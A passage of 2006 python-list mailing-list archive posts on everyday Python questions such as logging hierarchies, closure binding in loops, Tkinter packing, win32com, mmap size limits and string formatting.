logging.config.fileConfig("logging.conf") logger = logging.getLogger("a.b.c") logger.debug("Debug message") and the file logging.conf describes only the root logger configuration and specifies level=DEBUG. I get an message saying no handler found for logger "a.b.c". What I would have expected was that my logger would have inherited its handlers from root, ie through the parents a.b, up to a and finally up to root. I delved in the code and found that when my logger "a.b.c" is created, it doesn't create Loggers for "a.b" or "a" but rather instances of a PlaceHolder class. If I actually call logging.getLogger("a.b") and logging.getLogger("a") then the PlaceHolders get converted to Loggers and the hierarchy suddenly works. My feeling is that either the PlaceHolder objects should be modified to make them work properly in the hierarchy, or probably more simply, they should just be replaced by Loggers immediately when the hierarchy is first created. In that case, I believe that my expected behaviour would "just work". Now I am beginning to wonder if I have missed something, ie is there some reason why this is not a good idea and hasn't been done? Otherwise, what do people generally think? Is it as simple as I haven't set something up right, or do I have to declare the intermediate loggers, or does having multiple layers just suck!!! Useful comment welcome! Robert From agriff at tin.it Sat Oct 28 18:49:36 2006 From: agriff at tin.it (Andrea Griffini) Date: Sun, 29 Oct 2006 00:49:36 +0200 Subject: Name bindings for inner functions. In-Reply-To: <1162072141.571008.296670@h48g2000cwc.googlegroups.com> References: <1162072141.571008.296670@h48g2000cwc.googlegroups.com> Message-ID: <4543ddbe$0$3210$4fafbaef@reader2.news.tin.it> trevor_morgan at yahoo.com wrote: > The following code: > > def functions(): > l=list() > for i in range(5): > def inner(): > return i > l.append(inner) > return l > > > print [f() for f in functions()] > > > returns [4,4,4,4,4], rather than the hoped for [0,1,2,3,4]. I presume > this is something to do with the variable i getting re-bound every time > we go through the loop, or something, but I'm not sure how to fix this. The problem is that "i" inside the function is indeed the same variable for all the functions (the one you're using for looping). If you want a different variable for each function you can use the somewhat ugly but idiomatic def functions(): l=list() for i in range(5): def inner(i=i): return i l.append(inner) return l this way every function will have its own "i" variable, that is initialized with the value of the loop variable when executing the "def" statement. Andrea From hanumizzle at gmail.com Tue Oct 10 04:09:31 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 10 Oct 2006 04:09:31 -0400 Subject: does raw_input() return unicode? In-Reply-To: <452b5190$0$29833$9b622d9e@news.freenet.de> References: <12iln7en9ipit77@corp.supernews.com> <452b5190$0$29833$9b622d9e@news.freenet.de> Message-ID: <463ff4860610100109n20a174b8lc546be2c46d25363@mail.gmail.com> On 10/10/06, "Martin v. L?wis" wrote: > Stuart McGraw schrieb: > > So, does raw_input() ever return unicode objects and if > > so, under what conditions? > > At the moment, it only returns unicode objects when invoked > in the IDLE shell, and only if the character entered cannot > be represented in the locale's charset. Why only IDLE? Does urwid or another console UI toolkit avoid this somehow? -- Theerasak From __peter__ at web.de Wed Oct 4 06:24:48 2006 From: __peter__ at web.de (Peter Otten) Date: Wed, 04 Oct 2006 12:24:48 +0200 Subject: string: __iter__()? References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at> <636bd$452388d1$506d0b9f$12642@news.chello.at> Message-ID: mrquantum wrote: > Am Wed, 04 Oct 2006 12:03:41 +0200 schrieb Fredrik Lundh: >> really? iter("SomeString") works just fine for me. > But then why doesn't dir('SomeString') show an __iter__ method? Seems to > be implmented differently than with e.g. lists? The older pre-__iter__() iteration style relying on __getitem__() still works: >>> class A: ... def __getitem__(self, index): ... return [3,2,1][index] ... >>> for item in A(): ... print item ... 3 2 1 > Know why? No idea. Perhaps nobody cared? Peter From hanumizzle at gmail.com Wed Oct 11 03:37:24 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 03:37:24 -0400 Subject: OT: Sarcasm and irony In-Reply-To: References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> <12iosfh75stcf0e@corp.supernews.com> <1160544879.915425.250200@m7g2000cwm.googlegroups.com> Message-ID: <463ff4860610110037kb7d795ch883fd56c11820b55@mail.gmail.com> On 10/11/06, Steve Holden wrote: > mensanator at aol.com wrote: > [...] > > Any? Don't people plan June weddings thinking the weather > > will be nice? And isn't one of the defintions of irony when > > things turn out the opposite of what you expect? > > > But rain at a June wedding isn't truly ironic since it isn't the result > of the planners' actions. > > It would be ironic if I chose to get married in June and then all the > people I invited instead chose to attend a conference because I wasn't > going to be there. Better yet: plan an elaborate wedding and fly to Europe (or America if in Europe) when the wedding is set to take place. Whee!! -- Theerasak From hpsekhon at googlemail.com Mon Oct 2 10:45:12 2006 From: hpsekhon at googlemail.com (Hari Sekhon) Date: Mon, 02 Oct 2006 15:45:12 +0100 Subject: commands.getstatusoutput result is not command line exit value!!! Message-ID: <452125F8.8070106@googlemail.com> I'm running a command like import commands result = commands.getstatusoutput('somecommand') print result[0] 3072 However, this exit code made no sense so I ran it manually from the command line in bash on my linux server and it gives the exit code as 12, not this weird 3072 number. So I tried os.system('somecommand') in the interactive python shell and it too returned the same result for the exit code as the unix shell, 12, but re-running the commands.getstatusoutput() with the exact same command still gave 3072. Is commands.getstatusoutput() broken or something? -h -- Hari Sekhon From istvan.albert at gmail.com Mon Oct 23 12:08:51 2006 From: istvan.albert at gmail.com (Istvan Albert) Date: 23 Oct 2006 09:08:51 -0700 Subject: multythreading app memory consumption References: Message-ID: <1161619731.694654.272380@e3g2000cwe.googlegroups.com> Roman Petrichev wrote: > try: > url = Q.get() > except Queue.Empty: > break This code will never raise the Queue.Empty exception. Only a non-blocking get does: url = Q.get(block=False) As mentioned before you should post working code if you expect people to help. i. From wescpy at gmail.com Wed Oct 18 19:11:38 2006 From: wescpy at gmail.com (wesley chun) Date: Wed, 18 Oct 2006 16:11:38 -0700 Subject: Adding Worksheets to an Excel Workbook Message-ID: <78b3a9580610181611q50f4ebc6scf18911e04c474f3@mail.gmail.com> > From: Tom Plunket > Date: Tues, Oct 17 2006 6:34 pm > > You've got a lot of sleep calls in there- did you find that things > behaved erratically without them? I haven't done any Office > automation with Python, but my DevStudio stuff has always worked a > treat without the sleep calls. sorry, i forgot to explain this in my previous post. the sleep()s are not required and are used purely for demonstration purposes, to slow things down so that you can see things happen live in the application. it's no fun if Excel opens and everything is already there! cheers, -- wesley - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "Core Python Programming", Prentice Hall, (c)2007,2001 http://corepython.com wesley.j.chun :: wescpy-at-gmail.com python training and technical consulting cyberweb.consulting : silicon valley, ca http://cyberwebconsulting.com From jmdeschamps at gmail.com Wed Oct 4 21:12:54 2006 From: jmdeschamps at gmail.com (jmdeschamps at gmail.com) Date: 4 Oct 2006 18:12:54 -0700 Subject: filling a frame with a widget In-Reply-To: References: <83e8215e0610040455v36b3e7b9r2394a476b3aa41dd@mail.gmail.com> Message-ID: <1160010774.268428.265110@i3g2000cwc.googlegroups.com> Fredrik Lundh wrote: > Paolo Pantaleo wrote: > > >I have this code > > > > from Tkinter import * > > > > root=Tk() > > Button(root).pack(fill=BOTH) > > root.mainloop() > > > > I would expect the button filling all the client draw area of the > > Frame, but when I resize the root window the button becomes wider, but > > not higher ( I get some empty space under the button). > > pack(fill=BOTH, expand=1) should do the trick. > > the pack geometry manager works by slicing off vertical or horizontal areas from > the parent, one area per widget. the "fill" option controls how to place the widget > inside that area, the "expand" option controls how to handle any extra space left > in the parent. if "expand" isn't set for any child widget, the extra space is left un- > used. > > I'm not the OP, and I even replied about expand but *now* I know how it works... Thanks, Fredrik! jean-marc From fredrik at pythonware.com Sun Oct 22 14:21:38 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 22 Oct 2006 20:21:38 +0200 Subject: pylint: What's wrong with the builtin map() In-Reply-To: References: Message-ID: Tuomas wrote: > lst = map(lambda x: x.strip(), lst) list comprehensions are more efficient than map/lambda combinations; the above is better written as: lst = [x.strip() for x in lst] in general, map() works best when the callable is an existing function (especially if it's a built-in). not sure if pylist is smart enough to tell the difference, though. From mail at microcorp.co.za Sat Oct 14 01:11:58 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Sat, 14 Oct 2006 07:11:58 +0200 Subject: What value should be passed to make a function use the defaultargument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com><7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: <000e01c6ef55$3f06b2a0$03000080@hendrik> "Antoon Pardon" wrote: 8<----------------------------------------------------------------------------- > If we somehow want to seperate parameters in those that > can be used with a keyword and those that don't it has > to be something different than providing a default value > to that parameter. This makes sense - before reading this thread I was under the impression that giving a variable a default value makes it a keyword variable.... - Hendrik From mitko at qlogic.com Fri Oct 13 14:23:34 2006 From: mitko at qlogic.com (Mitko Haralanov) Date: Fri, 13 Oct 2006 11:23:34 -0700 Subject: Newbie question - leading zeros In-Reply-To: <20061013130805.T91050@eris.io.com> References: <20061013130805.T91050@eris.io.com> Message-ID: <20061013112334.2e58f30f@opal.pathscale.com> On Fri, 13 Oct 2006 13:10:55 -0500 eldorado wrote: > I have looked around and cannot seem to find a way to strip leading zeros > off of values in a dictionary. Basically, I am looking to do a for loop > and any value that has one or more leading zeros would be stripped. Any > pointers would be appreciated. Thanks I assume that the values are string representations of numbers? If that is the case, you could do 'str (int ())'. It's ugly but it works. -- Mitko Haralanov mitko at qlogic.com Senior Software Engineer 650.934.8064 System Interconnect Group http://www.qlogic.com From cfriedalek at gmail.com Tue Oct 24 21:15:39 2006 From: cfriedalek at gmail.com (cfriedalek at gmail.com) Date: 24 Oct 2006 18:15:39 -0700 Subject: win32com problem Message-ID: <1161738939.199723.85120@f16g2000cwb.googlegroups.com> I'm interacting with a third party application using python and com. However having problems and don't know what to look at next to resolve the issue. The app. can be driven by VBS. The following VBS code works: Set Synergy = CreateObject("synergy.Synergy") Synergy.OpenProject "D:/temp/project.mpi" Synergy.Project.OpenItemByName "test_bar_3d_6l_pc1", "Study" Set Tet = Synergy.StudyDoc.GetFirstTet() While Not Tet Is Nothing Str = Tet.ConvertToString() + " " Set Tet = Synergy.StudyDoc.GetNextTet(Tet) MsgBox Str WEnd This prints "TE1" "TE2" etc The "same" code in python returns > with each call to the GetNextTet method. import win32com.client from win32com.client import Dispatch Synergy = win32com.client.Dispatch("synergy.Synergy") Synergy.OpenProject("D:/temp/project.mpi") Synergy.Project.OpenItemByName("test_bar_3d_6l_pc1", "Study") tet = Synergy.StudyDoc.GetFirstTet while tet: print str(tet) tet = Synergy.StudyDoc.GetNextTet(tet) Any clues on what I'm doing wrong, or how to investigate whether there is a bug in win32com or in the third party apps com implementation. From iainking at gmail.com Fri Oct 13 10:56:57 2006 From: iainking at gmail.com (Iain King) Date: 13 Oct 2006 07:56:57 -0700 Subject: edit a torrent file with python In-Reply-To: <1160747455.818572.293490@m7g2000cwm.googlegroups.com> References: <1160747455.818572.293490@m7g2000cwm.googlegroups.com> Message-ID: <1160751417.900844.228780@b28g2000cwb.googlegroups.com> di0rz` wrote: > hi, > I am looking for a python script to edit .torrent files > if anybody know one thx Not sure exactly what you are looking for, but the original bittorrent client is written in Python, so you could grab a copy of it and check the code. Iain From noway at sorry.com Wed Oct 4 17:06:59 2006 From: noway at sorry.com (Giovanni Bajo) Date: Wed, 04 Oct 2006 21:06:59 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <452410E9.9040403@v.loewis.de> Message-ID: Martin v. L?wis wrote: >> Frankly, I don't give a damn about the language the application is >> coded in > > That's probably one of the reasons why you aren't a member of the > Python Software Foundation. Its mission includes to publicize, > promote the > adoption of, and facilitate the ongoing development of Python-related > technology and educational resources. So the tracker being written in > Python is quite of importance. So we have a problem between the PSF and the "PSF infrastructure committee", since the latter did not put "being written in Python" has a requirement for the tracker. -- Giovanni Bajo From MrJean1 at gmail.com Sun Oct 8 02:08:26 2006 From: MrJean1 at gmail.com (MrJean1) Date: 7 Oct 2006 23:08:26 -0700 Subject: Dumping the state of a deadlocked process In-Reply-To: <1160212333.072497.224360@i42g2000cwa.googlegroups.com> References: <1160164771.210372.141120@h48g2000cwc.googlegroups.com> <1160169525.373389.207990@c28g2000cwb.googlegroups.com> <1160212333.072497.224360@i42g2000cwa.googlegroups.com> Message-ID: <1160287706.081365.160340@m7g2000cwm.googlegroups.com> andre.naess at gmail.com wrote: > MrJean1 wrote: > > Did you try using the signal module? If not, a basic example is here > > which may need to be > > extended. > > I looks useful. I gave it a try, and the only weakness it has is that > when my process locks, it locks so badly that it doesn't respond to > CTRL-C, or any other signal. But by sending it a SIGQUIT which causes > it to dump the current state, and then kill it, I get the dump I need. The Ctrl-C signal SIGINT is caught by Python by default and the signal handler raises a KeyboardInterrupt exception. For any other signals, the signal is caught but the signal handler is not called until Python returns to the main loop. Therefore, if some extension -like Postgresql in this case- is busy or hangs, nothing will happen until Python regains control. > > This is actually not a multi-threaded app. It's an application which > uses a SQL DB. The problem I was having was that I had a cursor which > started a transaction, and then never finished. Then some other cursor > came along and tried to perform a delete table, and they both locked > up. The cursor isn't ending it's transaction, and the transaction > prevents the delete table from being executed. Luckily Postgresql > allows me to list current activity, otherwise I would have been > scratching my head still. > > Using logging or print statements to debug this sort of things is > highly unsatisfactory. I think the way Java uses SIGQUIT is pretty > neat, are there any reasons why Python can't adopt something similar? I can not anwer that. /Jean Brouwers From sturlamolden at yahoo.no Mon Oct 23 20:51:38 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 23 Oct 2006 17:51:38 -0700 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> Message-ID: <1161651098.747216.13300@k70g2000cwa.googlegroups.com> myeates at jpl.nasa.gov wrote: > Hi > Anyone ever done this? It looks like Python2.4 won't take a length arg > > 2 Gig since its not seen as an int. Lookin at Python's source (mmapmodule.c), it seems that "mmap.mmap" always sets the offset argument in Windows MapViewOfFile and UNIX to 0. This means that it is always mapping from the beginning of the file. Thus, Python's mmap module is useless for large files. This is really bad coding. The one that wrote mmapmodule.c didn't consider the posibility that a 64 bit file system like NTFS can harbour files to large to fit in a 32 address space. Thus, mmapmodule.c needs to be fixed before it can be used for large files. From python at hope.cz Thu Oct 19 11:39:36 2006 From: python at hope.cz (Lad) Date: 19 Oct 2006 08:39:36 -0700 Subject: Dictionaries again - where do I make a mistake? Message-ID: <1161272376.402525.188810@k70g2000cwa.googlegroups.com> I use the following code to sort dictionary. Olddict={'r':4,'c':1,'d':2,'e':3,'f':2} Newdict={} i = [(val, key) for (key, val) in Olddict.items()] i.sort() # by val i.reverse() # Get largest first. for (val, key) in i: print key,val Newdict[key]=val print Olddict print Newdict Sorting seems to be OK,. the command print key,val prints the proper values but I can not create Newdict to be sorted properly. Where do I make a mistake? Thank you for help. L From gagsl-py at yahoo.com.ar Mon Oct 9 20:02:31 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Mon, 09 Oct 2006 21:02:31 -0300 Subject: Help with first script please. files, directories, autocomplete In-Reply-To: <1160249646.129746.213600@b28g2000cwb.googlegroups.com> References: <1160236545.779687.136980@c28g2000cwb.googlegroups.com> <1160249646.129746.213600@b28g2000cwb.googlegroups.com> Message-ID: <7.0.1.0.0.20061009205652.04623580@yahoo.com.ar> At Saturday 7/10/2006 16:34, Rainy wrote: >You can store the dir name as a variable: > > >>> d = 'c:\home' > >>> from os import * > >>> listdir(d) >['.Config.pm.swp', '.run.bat.swp', 'AHK scripts', 'Archive', >'Config.pm', 'Docs', 'Images', 'Links', 'Music', 'Projects', 'Python >programs', 'run.bat', 'Share', 'Torrent'] Note that \ is a escape character, and works fine in this case only because \h is not a valid sequence. Use instead 'c:\\home' or r'c:\home' or 'c:/home' (forward slashes are fine in Windows too) from ... import * is not the recommended way; use instead: from os import listdir listdir(d) or import os os.listdir(d) -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From bignose+hates-spam at benfinney.id.au Wed Oct 11 04:07:19 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 11 Oct 2006 18:07:19 +1000 Subject: OT: Sarcasm and irony References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> <12iosfh75stcf0e@corp.supernews.com> <1160544879.915425.250200@m7g2000cwm.googlegroups.com> <463ff4860610102244y348d8b5alc8247e84775d1cd3@mail.gmail.com> Message-ID: <873b9v6zt4.fsf@benfinney.id.au> "Theerasak Photha" writes: > I hate June. June sucks. Blindly following some Roman custom relating > to Juno (the real reason why people have June weddings) Well, our traditions and ceremonies in the anti-podes (thanks SteveH) are very Euro-centric; but we still have our weddings in the hot months of November through February, so Juno has nothing to do with it. I think it's nothing more than the expectation that the weather will be clear. > I may be brown, but this time of the year in the Northern Hemisphere > when the weather is chilly but not intolerable, and one can read by > the moonlight is, OTOH, teh win. Preach it, brother. -- \ "If you wish to strive for peace of soul, then believe; if you | `\ wish to be a devotee of truth, then inquire." -- Friedrich | _o__) Nietzsche | Ben Finney From leonhard.vogt at gmx.ch Mon Oct 9 08:07:15 2006 From: leonhard.vogt at gmx.ch (leonhard.vogt at gmx.ch) Date: 9 Oct 2006 05:07:15 -0700 Subject: unexpected behaviour of lambda expression References: <1160379765.723206.33640@i3g2000cwc.googlegroups.com> Message-ID: <1160395635.817274.38930@c28g2000cwb.googlegroups.com> Fredrik Lundh schrieb: > leonhard.vogt at gmx.ch wrote: > > > Please consider that example: > > Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)] > > on win32 > > Type "help", "copyright", "credits" or "license" for more information. > >>>> s = 'foo' > >>>> f = lambda x: s > >>>> f(None) > > 'foo' > >>>> s = 'bar' > >>>> f(None) > > 'bar' > >>>> del(s) > >>>> f(None) > > Traceback (most recent call last): > > File "", line 1, in ? > > File "", line 1, in > > NameError: global name 's' is not defined > > > > It seems to me, that f is referencing the name s instead of the string > > object bound to it > > that's how lexical scoping works, of course. > > if you want to bind to the object instead of the name, use explicit binding: > > f = lambda x, s=s: s > > Thank you, together with the response of Duncan it is clear to me now. I will use something like >>> def makefunc(t): ... return lambda x: t ... >>> s = 'foo' >>> f = makefunc(s) >>> f(None) 'foo' >>> s = 'bar' >>> f(None) 'foo' Leonhard From ewijaya at i2r.a-star.edu.sg Fri Oct 27 02:56:03 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Fri, 27 Oct 2006 14:56:03 +0800 Subject: Slurping All Content of a File into a Variable References: <3ACF03E372996C4EACD542EA8A05E66A0615D9@mailbe01.teak.local.net> Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615E0@mailbe01.teak.local.net> ________________________________ From: python-list-bounces+ewijaya=i2r.a-star.edu.sg at python.org on behalf of Wijaya Edward Sent: Thu 10/26/2006 11:47 PM To: python-list at python.org Subject: Slurping All Content of a File into a Variable Hi, How can we slurp content of a single file into one variable? I tried this: >>> myfile_content = open('somefile.txt') >>> print myfile_content, >>> But it doesn't print the content of the file. Regards, -- Edward WIJAYA SINGAPORE ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- -- http://mail.python.org/mailman/listinfo/python-list ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From steve at holdenweb.com Fri Oct 27 08:57:51 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 27 Oct 2006 13:57:51 +0100 Subject: my first software In-Reply-To: <4qec58Fmrcd1U1@individual.net> References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com> <4qc748Fm34hdU1@individual.net> <4qec58Fmrcd1U1@individual.net> Message-ID: Bjoern Schliessmann wrote: > Fredrik Lundh wrote: > > >>cygwin? > > > I thought so too, but cygwin would use #!/cygdrive/c/..., IIRC. > Cygwin is actually pretty liberal about paths, and will often take a Winwos-style path (unlike the snotty cmd.exe program that insists on treating forard slashes ONLY as option indicators. > >>exemaker? some kind of web server? > > > Okay, didn't know that :) > > Regards, > > > Bj?rn > regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From python.list at tim.thechases.com Mon Oct 16 14:29:41 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Mon, 16 Oct 2006 13:29:41 -0500 Subject: set operations on dictionaries? In-Reply-To: <20061016181014.73728.qmail@web58105.mail.re3.yahoo.com> References: <20061016181014.73728.qmail@web58105.mail.re3.yahoo.com> Message-ID: <4533CF95.8060700@tim.thechases.com> > I understand this point but this is just an argument for > saying that it should throw an exception when the values don't > match. It is not an argument for not doing the logical thing > when they do. In fact in many situations it can be reasonably > expected that the values will be the same. If not, give an > error. There is no danger in that. The programmer should know > whether this is a reasonable expectation in any givn case. (As > it is at the moment, you get an error even if they match...) Well, the operation as you describe it is easy enough to implement: >>> d1 = {1:42, 2:43, 3:44} >>> d2 = {1:42, 2:55, 5:66} >>> dict((k,v) for k,v in d1.items() if k in d2) {1: 42, 2: 43} >>> dict((k,v) for k,v in d1.items() if k in d2 and d2[k] == v) {1: 42} depending on whether you want to enforce the matching of the values as well. Sure, it's not a native operator, but given the ambiguity of the definition (do you or don't you include the values in the comparison?), it's best to leave it as a function rather than trying to shoehorn it into the __sub__ operator. -tkc From m.elston at advantest-ard.com Mon Oct 30 20:17:49 2006 From: m.elston at advantest-ard.com (Mark Elston) Date: Mon, 30 Oct 2006 17:17:49 -0800 Subject: enumerate improvement proposal In-Reply-To: References: <4qn37kFmc3q0U1@uni-berlin.de> Message-ID: <4546A43D.4080302@advantest-ard.com> * James Stroud wrote (on 10/30/2006 4:39 PM): > Steve Holden wrote: >> How could you end up marrying someone who counts from one and not >> zero? ;-) > > She's the only other person I've ever met who used vi key binding at the > command line. > > James > > Well, there's your problem. You need to C-x C-f a new mate. :) Mark (Emacs rules) From tomas at fancy.org Tue Oct 10 20:55:38 2006 From: tomas at fancy.org (Tom Plunket) Date: Tue, 10 Oct 2006 17:55:38 -0700 Subject: Is a list static when it's a class member? References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com> Message-ID: <63goi2huffrd0dt2la9u0tng02a6jd4m8v@4ax.com> Fredrik Lundh wrote: > if you want separate instances to use separate objects, make sure you > create new objects for each new instance. see Tim's reply for how to > do that. kath's response is probably better. In Python, you don't define the instance members in the class scope like the OP has done: > > class A: > > name = "" > > data = [] You define them when you attach them to an instance, e.g. class A: def __init__(self): self.member1 = 'a' def ThisWorksToo(self): self.member2 = 'b' # this also works a = A() a.member3 = 'c' -tom! From limodou at gmail.com Wed Oct 4 09:20:32 2006 From: limodou at gmail.com (limodou) Date: Wed, 4 Oct 2006 21:20:32 +0800 Subject: dictionary of list from a file In-Reply-To: <1159967361.355323.201050@m7g2000cwm.googlegroups.com> References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com> Message-ID: <505f13c0610040620o4f52280fy3b9430c857101eb8@mail.gmail.com> On 4 Oct 2006 06:09:21 -0700, andrea.spitaleri at gmail.com wrote: > Hi guys, > this is my first post. my "programming" background is perlish scripting > and now I am learning python. I need to create a dictionary of list > from a file. Normally in perl I use to do like: > > while(){ > @info=split(/ +/,$_); > push (@{$tmp{$info[0]}},$info[1]); > } > > and then > foreach $key (keys %tmp){ > print "$key -> @{$tmp{$key}}\n"; > } > i get > > 2 -> 1 2 3 4 > 7 -> 7 8 9 10 > > in python I tried: > b={} > a=[] > for line in fl.readlines(): > info=lines.split() > b[info[0]] = a.append(info[1]) > > and then > for i in b: > print i,b[i] > i get > 2 None > 7 None > > data file is: > 2 1 > 2 2 > 2 3 > 2 4 > 7 7 > 7 8 > 7 9 > 7 10 > > Any help?? > Thanks in advance > Best Regards > > Andrea > here is my program d = {} for line in file('test.txt'): line = line.strip() if line: k, v = line.strip().split() d.setdefault(k, []).append(v) print d Dict in Python has a setdefault method, if there is a key in dict, it'll return the value, and if there is not a key existed, it'll insert a key with the value supplied by the second parameter and return the value. So using setdefault will be very handy for inserting key. -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From martin at v.loewis.de Tue Oct 24 01:36:05 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 07:36:05 +0200 Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64 In-Reply-To: References: <45386B4C.4020001@v.loewis.de> <453d4821$0$22566$9b622d9e@news.freenet.de> Message-ID: <453DA645.2090009@v.loewis.de> Christopher Taylor schrieb: > Also, I've fooled around with passing --libdir=/usr/lib64 to the > configure script and for whatever reason, the Makefile isn't correctly > written. It always ends up copying the lib files to /usr/lib. Ah, I see. The reason is pretty simple: Makefile.pre.in has LIBDIR= $(exec_prefix)/lib so it seems that LIBDIR isn't configurable. > Could not find platform independent libraries > Could not find platform dependent libraries > Consider setting $PYTHONHOME to [:] > 'import site' failed; use -v for traceback > > Just for sanity sakes I undid the changes to lines 83 & 87 of the make > file, did a "make clean", "make", "make test", "make altinstall", > "python2.4" followed by some goofing around and everything works fine. > So I'm guessing my manual edits of the makefile didn't go well. Any > idea what else I need to change? You will have to debug this (can't do right now); see Modules/getpath.c, and the definition of PYTHONPATH. It seems this isn't really supported. Regards, Martin From h9204473 at wu-wien.ac.at Sat Oct 7 15:29:45 2006 From: h9204473 at wu-wien.ac.at (le_wolk) Date: 7 Oct 2006 12:29:45 -0700 Subject: Job announcement Vienna&Graz Austria Message-ID: <1160249385.110123.190090@b28g2000cwb.googlegroups.com> Python and Java Developers for reseach project hired! More information below... Information Diffusion across Interactive Online Media http://www.idiom.at/ Four full-time research positions are now available at Graz University of Technology and Vienna University of Economics and Business Administration. As of November 2006, we aim to hire four young researchers in the following areas (Application deadline = October 15): ** Visualizing Semantic and Geographic Data ** Social Software and Content Management Systems ** Semantic Technologies and Ontology Engineering ** Software Development and Information Retrieval Further details and the full text of the announcements (in German) are available at http://www.idiom.at/. Project Description Recent advances in collaborative Web technology are governed by network effects and harnessing collective intelligence through customer-self service and algorithmic data management. As a result, information spreads rapidly across Web sites, blogs, Wiki applications, and direct communication channels between members of online communities who utilize these services. The IDIOM (Information Diffusion across Interactive Online Media) project will support and investigate electronic interactivity by means of a generic, service-oriented architecture. This architecture will include ontology-based tools to build and maintain contextualized information spaces, a framework for analyzing content diffusion and interaction patterns within these spaces, and interface technology enabling users to switch between semantic and geospatial topologies. ---------------------------------------------- Mag. Gerhard Wohlgenannt | wohlg at ai.wu-wien.ac.at Projekt AVALON/WU Wien, Aug. 2-6 | Tel: ++43 1 31336 5228 ---------------------------------------------- From bignose+hates-spam at benfinney.id.au Tue Oct 3 07:55:51 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 03 Oct 2006 21:55:51 +1000 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> Message-ID: <87sli5ipfc.fsf@benfinney.id.au> Steve Holden writes: > Paul Rubin wrote: > > "Giovanni Bajo" writes: > >>I just read this mail by Brett Cannon: > >>http://mail.python.org/pipermail/python-dev/2006-October/069139.html > >>where the "PSF infrastracture committee", after weeks of evaluation, > >>recommends using a non open source tracker (called JIRA - never > >>heard before of course) for Python itself. > >> > >>Does this smell "Bitkeeper fiasco" to anyone else than me? > > > > Sounds crazy, what's wrong with bugzilla? > > Much the same as is wrong with the existing SourceForge system, I'd say. The existing SourceForge system runs on non-free software, which is a significant differentiator from Bugzilla. I would be greatly dismayed to see the PSF choosing to move critical Python development data into a non-free system. I hope this recommendation from the "PSF infrastructure committee" is rejected. -- \ "There is no reason anyone would want a computer in their | `\ home." -- Ken Olson, president, chairman and founder of | _o__) Digital Equipment Corp., 1977 | Ben Finney From gal.diskin at gmail.com Sat Oct 7 09:46:55 2006 From: gal.diskin at gmail.com (Gal Diskin) Date: 7 Oct 2006 06:46:55 -0700 Subject: building strings from variables References: <1160060458.147062.193070@c28g2000cwb.googlegroups.com> Message-ID: <1160228815.434905.56660@e3g2000cwe.googlegroups.com> Matthew Warren wrote: > > -----Original Message----- > > From: > > python-list-bounces+matthew.warren=digica.com at python.org > > [mailto:python-list-bounces+matthew.warren=digica.com at python.o > > rg] On Behalf Of Gal Diskin > > Sent: 05 October 2006 16:01 > > To: python-list at python.org > > Subject: building strings from variables > > > > Following a discussion with an associate at work about various ways to > > build strings from variables in python, I'd like to hear your opinions > > and preferred methods. The methods we discussed are: > > 1. some_string = "cd %s ; %s %d %s %s" % ( working_dir, ssh_cmd, > > some_count, some_param1, some_param2) > > > > 2. import string > > template = string.Template("cd $dir ; $cmd $count $param1 > > $param2") > > some_string = template.substitute(dict(dir=working_dir, > > > > cmd=ssh_cmd, > > > > count=some_count, > > > > pararm1=some_param1, > > > > param2=some_param2)) > > here you can use a couple of nice tricks by using class.__dict__ and > > globals() \ locals() 